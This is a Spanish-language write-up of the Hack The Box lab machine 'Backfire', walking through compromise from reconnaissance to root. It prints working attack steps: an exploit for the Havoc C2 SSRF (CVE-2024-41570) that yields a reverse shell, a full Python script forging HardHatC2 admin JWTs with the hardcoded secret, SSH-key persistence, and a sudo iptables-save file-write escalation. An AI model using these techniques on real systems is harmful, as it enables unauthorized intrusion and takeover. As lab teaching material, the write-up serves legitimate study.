Post

Backfire

Backfire es una máquina de dificultad media que comienza con un servidor Havoc C2 expuesto, donde el atacante explota una vulnerabilidad de Server Side Request Forgery (SSRF) para establecer un canal de comunicación con la WebSocket API de Havoc e inyectar comandos maliciosos, logrando ejecución remota de código durante el proceso de compilación del payload. Una vez obtenido el acceso inicial, se identifica otro servidor de Command and Control ejecutándose localmente llamado Hardhat. Al ser de código abierto, el atacante genera un token JWT utilizando la clave secreta predeterminada codificada en el código fuente. La cuenta comprometida tiene permisos para ejecutar iptables e iptables-save, lo que permite una escalada de privilegios mediante escritura arbitraria de archivos.

Backfire

Information Gathering

El análisis inicial comienza con el comando ping para confirmar la accesibilidad de la máquina objetivo en la red.

1
2
3
4
5
6
7
/home/kali/Documents/htb/machines/backfire:-$ ping -c 1 10.10.11.49
PING 10.10.11.49 (10.10.11.49) 56(84) bytes of data.
64 bytes from 10.10.11.49: icmp_seq=1 ttl=63 time=177 ms

--- 10.10.11.49 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 177.029/177.029/177.029/0.000 ms

Realizo un escaneo agresivo de puertos con nmap, lo que me permite identificar rápidamente todos los puertos abiertos.

1
2
3
/home/kali/Documents/htb/machines/backfire:-$ sudo nmap -p- --open -sS --min-rate 5000 -vvv 10.10.11.49 -n -Pn -oG nmap1
Host: 10.10.11.49 ()    Status: Up
Host: 10.10.11.49 ()    Ports: 22/open/tcp//ssh///, 443/open/tcp//https///, 8000/open/tcp//http-alt///

Profundizo en los puertos detectados, recopilando información detallada sobre los servicios y versiones en ejecución.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
/home/kali/Documents/htb/machines/backfire:-$ sudo nmap -sCV -p22,443,8000 -vvv 10.10.11.49 -oN nmap2
PORT     STATE SERVICE  REASON         VERSION
22/tcp   open  ssh      syn-ack ttl 63 OpenSSH 9.2p1 Debian 2+deb12u4 (protocol 2.0)
| ssh-hostkey: 
|   256 7d:6b:ba:b6:25:48:77:ac:3a:a2:ef:ae:f5:1d:98:c4 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJuxaL9aCVxiQGLRxQPezW3dkgouskvb/BcBJR16VYjHElq7F8C2ByzUTNr0OMeiwft8X5vJaD9GBqoEul4D1QE=
|   256 be:f3:27:9e:c6:d6:29:27:7b:98:18:91:4e:97:25:99 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIA2oT7Hn4aUiSdg4vO9rJIbVSVKcOVKozd838ZStpwj8
443/tcp  open  ssl/http syn-ack ttl 63 nginx 1.22.1
|_http-server-header: nginx/1.22.1
| http-methods: 
|_  Supported Methods: GET
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|   http/1.1
|   http/1.0
|_  http/0.9
|_http-title: 404 Not Found
| ssl-cert: Subject: commonName=127.0.0.1/organizationName=LTD/stateOrProvinceName=/countryName=US/postalCode=2166/streetAddress=/localityName=
| Subject Alternative Name: IP Address:127.0.0.1
| Issuer: commonName=127.0.0.1/organizationName=LTD/stateOrProvinceName=/countryName=US/postalCode=2166/streetAddress=/localityName=
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-10-04T10:01:35
| Not valid after:  2027-10-04T10:01:35
| MD5:   1045:c8ca:2888:1dcb:7921:0d4b:81c6:41cb
| SHA-1: 8352:0976:4835:0fe4:fafc:2c68:bd07:f840:8658:aa65
| -----BEGIN CERTIFICATE-----
| MIIDuzCCAqOgAwIBAgIRAO7Ik+Hd1u4PgVElHC2C2oAwDQYJKoZIhvcNAQELBQAw
| XzELMAkGA1UEBhMCVVMxCTAHBgNVBAgTADEJMAcGA1UEBxMAMQkwBwYDVQQJEwAx
| DTALBgNVBBETBDIxNjYxDDAKBgNVBAoTA0xURDESMBAGA1UEAxMJMTI3LjAuMC4x
| MB4XDTI0MTAwNDEwMDEzNVoXDTI3MTAwNDEwMDEzNVowXzELMAkGA1UEBhMCVVMx
| CTAHBgNVBAgTADEJMAcGA1UEBxMAMQkwBwYDVQQJEwAxDTALBgNVBBETBDIxNjYx
| DDAKBgNVBAoTA0xURDESMBAGA1UEAxMJMTI3LjAuMC4xMIIBIjANBgkqhkiG9w0B
| AQEFAAOCAQ8AMIIBCgKCAQEAz6YS73tjhd1KVFsNtUfXzS0XjCkt11uL6TprYKVf
| Wjgs8RhmjEjWcQEJkHDcCjH5I/rlmqdCLdj2aBuZpRGRBs00mgPwko2EscyeqoWS
| usi5R7QNjZih+7p486kq3rJfxSSAsr/ym6tjxKwVyXxyiE0+e002Kozyge7CW9YM
| RyEUA3N6Je8jz9YtIh5gnmSJorF700zMJWW8gxGmKRGDwAGegzQNNTWTPDHclC4u
| JEdbj7hk4nxkLwBFaYjgbVW2pHrjUXJBELInsPFveQLD77lfkThLgwFERKzeQQ2y
| 4mJijD6HQEiAPCdZKjJG/vEZapDJc00hLn3ggB3R19v1aQIDAQABo3IwcDAOBgNV
| HQ8BAf8EBAMCAqQwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMA8GA1Ud
| EwEB/wQFMAMBAf8wHQYDVR0OBBYEFKgcqcbeYNgRnjRe+we2+Ley6leOMA8GA1Ud
| EQQIMAaHBH8AAAEwDQYJKoZIhvcNAQELBQADggEBADSdO/WATVHu1XpM0Geotz+O
| c2UkAD4io8P69V8SU5/ptVfZsMxYCf5QoriDPLPGIwgd1EL6ghNrEu0wxLFEF+xE
| piKglcwF8Hbaz7kSx+E80XdBsXoUghrwEGI/Y00BsmGT/GQ4bu4OLftAbCYu/pwd
| QVYaIXj3m7rdfSIDPKuDpk9n2Hs5HuKrsHXi02wQYANTdSa/UGYd2bf9jYnteM75
| K26iQ9QaSV9ATzk8vV1dp5NtDXsBnninufiw49Rt597DA0ErZkuawSRX4wZfvNVU
| 2hbOYe33/zj/77mmWtW3gBGoUMt6ajARs+2dBiJNX5nZp31w9nElr5pXkDzQJkM=
|_-----END CERTIFICATE-----
8000/tcp open  http     syn-ack ttl 63 nginx 1.22.1
| http-methods: 
|_  Supported Methods: GET HEAD POST
|_http-title: Index of /
|_http-server-header: nginx/1.22.1
| http-ls: Volume /
| SIZE  TIME               FILENAME
| 1559  17-Dec-2024 12:31  disable_tls.patch
| 875   17-Dec-2024 12:34  havoc.yaotl
|_
|_http-open-proxy: Proxy might be redirecting requests
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
1
2
$ whatweb https://10.10.11.49   
https://10.10.11.49 [404 Not Found] Country[RESERVED][ZZ], HTTPServer[nginx/1.22.1], IP[10.10.11.49], Title[404 Not Found], UncommonHeaders[x-havoc], nginx[1.22.1]

Web Analysis

Descubro un servicio web sobre HTTPS que responde con un código 404, pero expone encabezados no comunes como x-havoc, lo que sugiere la presencia del framework de HavocC2 funcionando detrás de un servidor nginx.

Accediendo por HTTP en el puerto 80, aparece un directorio expuesto que contiene dos archivos relevantes, disable_tls.patch y havoc.yaotl.

El primero es un parche para deshabilitar el uso de TLS en la conexión WebSocket del teamserver de Havoc, permitiendo conexiones no cifradas sobre el puerto 40056. Esta modificación indica que el sistema espera conexiones WebSocket locales sin TLS.

1
/home/kali/Documents/htb/machines/backfire:-$ cat disable_tls.patch

El archivo havoc.yaotl corresponde al archivo de configuración principal del teamserver. Dentro de la sección Operators se revelan credenciales en texto plano:

  • ilya:CobaltStr1keSuckz! / sergej:1w4nt2sw1tch2h4rdh4tc2
1
/home/kali/Documents/htb/machines/backfire:-$ cat havoc.yaotl

El listener HTTP definido escucha localmente en el puerto 8443, lo que confirma que las comunicaciones externas requieren de un túnel o SSRF para interactuar con el servicio.

Buscando información me encuntro con CVE-2024-41570, una vulnerabilidad crítica la cual aprovecha un SSRF permitiendo enviar tráfico arbitrario desde el servidor.

La vulnerabilidad esta documentada por el creador de esta maquina en chebuya/ssrf-on-havoc, acompañada de un PoC. El escenario es propicio para que un SSRF explote la interfaz WebSocket del demonio para ejecutar comandos remotos.


CVE Exploitation

Voy a utilizar el exploit desarrollado por pich4ya, el cual automatiza por completo la explotación del CVE-2024-41570. Este script establece una conexión WebSocket con el teamserver Havoc y aprovecha la SSRF para ejecutar código en el contexto del callback del demonio, generando una reverse shell temporal hacia la maquina atacante.

1
2
3
4
/home/kali/Documents/htb/machines/backfire:-$ wget https://gist.githubusercontent.com/pich4ya/bda16a3b2104bea411612f20d536174b/raw/707b4ca24c0ced048497da4ea645caf788632499/havoc_ssrf2rce.py

/home/kali/Documents/htb/machines/backfire:-$ nc -lnvp 443
	listening on [any] 443 ...

Antes de lanzar el exploit, genero una clave SSH ed25519. Esto me permite introducir mi clave pública dentro de .ssh/authorized_keys durante la sesión comprometida, y así garantizar acceso persistente por SSH al usuario victima sin depender nuevamente de la vulnerabilidad ni del listener.

1
2
3
4
5
6
7
/home/kali/Documents/htb/machines/backfire:-$ ssh-keygen -t ed25519 -f ~/.ssh/id_ed25519
Generating public/private ed25519 key pair.
Enter passphrase (empty for no passphrase): $tr0ngP@$$w0rd123
Enter same passphrase again: $tr0ngP@$$w0rd123

/home/kali/Documents/htb/machines/backfire:-$ cat /home/kali/.ssh/id_ed25519.pub
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOsyjZH2HTiLb61fHRWAVsuQBhOS7YslTji85AO3Vfkv kali@k4li

El exploit se ejecuta especificando el objetivo, la IP atacante y las credenciales de operador del teamserver. Una vez activa la reverse shell, inserto la clave pública en el archivo authorized_keys de ilya.

1
2
3
4
5
6
7
8
(venv)-/home/kali/Documents/htb/machines/backfire:-$ python3 havoc_ssrf2rce.py -t https://10.10.11.49:443 -l 10.10.16.108 --c2user ilya --c2pass 'CobaltStr1keSuckz!'

	... connect to [10.10.16.108] from (UNKNOWN) [10.10.11.49] 58924

ilya@backfire:~/Havoc/payloads/Demon$ id
uid=1000(ilya) gid=1000(ilya) groups=1000(ilya),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev)

ilya@backfire:~/Havoc/payloads/Demon$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOsyjZH2HTiLb61fHRWAVsuQBhOS7YslTji85AO3Vfkv kali@k4li' | tee -a /home/ilya/.ssh/authorized_keys

Luego, me conecto directamente por SSH con la contraseña generada, logrando acceder a la máquina como el usuario ilya.

1
2
3
4
5
6
7
/home/kali/Documents/htb/machines/backfire:-$ ssh ilya@10.10.11.49
Enter passphrase for key '/home/kali/.ssh/id_ed25519': $tr0ngP@$$w0rd123

ilya@backfire:~$ id
uid=1000(ilya) gid=1000(ilya) groups=1000(ilya),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),100(users),106(netdev)

ilya@backfire:~$ cat user.txt

Lateral Movement

1
2
3
4
ilya@backfire:~$ grep sh$ /etc/passwd
root:x:0:0:root:/root:/bin/bash
ilya:x:1000:1000:ilya,,,:/home/ilya:/bin/bash
sergej:x:1001:1001:,,,:/home/sergej:/bin/bash

En el directorio personal de ilya se encuentra el archivo hardhat.txt, donde se menciona que sergej instaló HardHatC2 sin modificar su configuración por defecto. Esto sugiere una posible instancia del framework corriendo con credenciales y parámetros conocidos.

1
2
3
ilya@backfire:~$ cat hardhat.txt 
Sergej said he installed HardHatC2 for testing and  not made any changes to the defaults
I hope he prefers Havoc bcoz I don't wanna learn another C2 framework, also Go > C#

Listando los puertos TCP locales detecto que están activos los puertos 7096 y 5000, ambos utilizados por HardHatC2 para su panel de control y API backend.

1
ilya@backfire:~$  ss -tulnp

Además, confirmo que los procesos relacionados TeamServer y HardHatC2Client están corriendo bajo el usuario sergej.

1
2
3
4
5
6
ilya@backfire:~$ ps auxww | grep sergej
sergej     21929  3.0  6.5 274254576 261552 ?    Ssl  16:50   0:07 /home/sergej/.dotnet/dotnet run --project HardHatC2Client --configuration Release
sergej     21930  1.2  6.0 274254724 238740 ?    Ssl  16:50   0:03 /home/sergej/.dotnet/dotnet run --project TeamServer --configuration Release
sergej     21987  1.2  3.0 274204388 120276 ?    Sl   16:50   0:03 /home/sergej/HardHatC2/TeamServer/bin/Release/net7.0/TeamServer
sergej     22007  1.0  3.1 274195072 126220 ?    Sl   16:50   0:02 /home/sergej/HardHatC2/HardHatC2Client/bin/Release/net7.0/HardHatC2Client
ilya       22162  0.0  0.0   6332  2108 pts/0    S+   16:54   0:00 grep sergej

Establezco un port forwarding para redirigir los puertos 7096 y 5000 hacia mi equipo, permitiendo acceso externo al panel de HardHatC2.

1
2
/home/kali/Documents/htb/machines/backfire:-$ ssh ilya@10.10.11.49 -L 7096:127.0.0.1:7096 -L 5000:127.0.0.1:5000 -f -N
Enter passphrase for key '/home/kali/.ssh/id_ed25519': $tr0ngP@$$w0rd123

Una vez redirigido el tráfico, accedo al panel web de HardHatC2 desde mi navegador y confirmo que se encuentra activo y protegido por autenticación.

El formulario de login requiere credenciales, pero buscando posibles vectores de bypass encuentro el blog sth/hardhatc2-rce-authn-bypass, donde se documenta una falla crítica. HardHatC2 firma sus tokens JWT con una clave estática hardcodeada (jtee43gt-6543-2iur-9422-83r5w27hgzaq) almacenada en el archivo TeamServer/appsettings.json del repositorio oficial. Esto permite construir tokens JWT válidos sin necesidad de credenciales reales.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import jwt
import datetime
import uuid
import requests

rhost = '127.0.0.1:5000'

# Craft Admin JWT  
secret = "jtee43gt-6543-2iur-9422-83r5w27hgzaq"
issuer = "hardhatc2.com"
now = datetime.datetime.utcnow()

expiration = now + datetime.timedelta(days=28)
payload = {
"sub": "HardHat_Admin",
"jti": str(uuid.uuid4()),
"http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameidentifier": "1",
"iss": issuer,
"aud": issuer,
"iat": int(now.timestamp()),
"exp": int(expiration.timestamp()),
"http://schemas.microsoft.com/ws/2008/06/identity/claims/role": "Administrator"
}
 
token = jwt.encode(payload, secret, algorithm="HS256")
print("Generated JWT:")
print(token)

# Use Admin JWT to create a new user 'sth_pentest' as TeamLead  
burp0_url = f"https://{rhost}/Login/Register"
burp0_headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json"
}
burp0_json = {
"password": "sth_pentest",
"role": "TeamLead",
"username": "sth_pentest"
}
r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json, verify=False)
print(r.text)
1
/home/kali/Documents/htb/machines/backfire:-$ python3 hardhatc2_bypass.py

Ejecuto el script hardhatc2_bypass.py, el cual genera un token administrativo firmado correctamente y permite autenticarse con credenciales arbitrarias sth_pentest:sth_pentest.


Desde el panel como usuario con rol TeamLead utilizo la sección Implant Interact > Terminal para ejecutar comandos directamente en el host, aprovechando la integración del C2 con el sistema. Inyecto mi clave pública SSH al archivo /home/sergej/.ssh/authorized_keys reutilizando la clave generada anteriormente.

1
echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOsyjZH2HTiLb61fHRWAVsuQBhOS7YslTji85AO3Vfkv kali@k4li' | tee -a /home/sergej/.ssh/authorized_keys

Remote Code Execution

Finalizada la inyección, me conecto exitosamente vía SSH como el usuario sergej reutilizando mi clave privada.

1
2
3
4
5
/home/kali/Documents/htb/machines/backfire:-$ ssh sergej@10.10.11.49
Enter passphrase for key '/home/kali/.ssh/id_ed25519': $tr0ngP@$$w0rd123

sergej@backfire:~$ id
uid=1001(sergej) gid=1001(sergej) groups=1001(sergej),100(users)

Privilege Escalation

Revisando los privilegios sudo disponibles para el usuario sergej, encuentro que puede ejecutar iptables y iptables-save como root sin requerir contraseña.

1
2
3
4
5
6
7
8
sergej@backfire:~$ sudo -l
Matching Defaults entries for sergej on backfire:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User sergej may run the following commands on backfire:
    (root) NOPASSWD: /usr/sbin/iptables
    (root) NOPASSWD: /usr/sbin/iptables-save

Esta configuración permite escribir directamente en archivos arbitrarios si se abusa del argumento -f de iptables-save.

Para abusar de esta configuración, agrego una nueva regla con un comentario que contiene mi clave pública SSH, utilizando una cadena multilínea forzada con $'\n'. Esto inserta el contenido en la salida que luego será redireccionada a authorized_keys.

1
sergej@backfire:~$ sudo /usr/sbin/iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'\nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOsyjZH2HTiLb61fHRWAVsuQBhOS7YslTji85AO3Vfkv kali@kali\n'

Verifico que la regla se encuentre cargada en la tabla actual.

1
2
3
4
5
6
7
8
9
10
11
12
13
sergej@backfire:~$ sudo iptables -S
-P INPUT ACCEPT
-P FORWARD ACCEPT
-P OUTPUT ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 5000 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 5000 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -s 127.0.0.1/32 -p tcp -m tcp --dport 7096 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 7096 -j REJECT --reject-with icmp-port-unreachable
-A INPUT -i lo -m comment --comment "
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOsyjZH2HTiLb61fHRWAVsuQBhOS7YslTji85AO3Vfkv kali@k4li
" -j ACCEPT

Finalmente utilizo iptables-save con la flag -f para guardar las reglas directamente en el archivo /root/.ssh/authorized_keys, aprovechando que el contenido generado incluirá la clave pública dentro del bloque de comentarios.

1
sergej@backfire:~$ sudo /usr/sbin/iptables-save -f /root/.ssh/authorized_keys

Con la clave ya instalada como root, me conecto por SSH utilizando la clave privada correspondiente y obtengo acceso completo al sistema como superusuario.

1
2
3
4
5
6
7
/home/kali/Documents/htb/machines/backfire:-$ ssh root@10.10.11.49
Enter passphrase for key '/home/kali/.ssh/id_ed25519': $tr0ngP@$$w0rd123

root@backfire:~# id
uid=0(root) gid=0(root) groups=0(root)

root@backfire:~# cat root.txt

Backfire Machine from Hack The Box has been Pwned

This post is licensed under CC BY 4.0 by the author.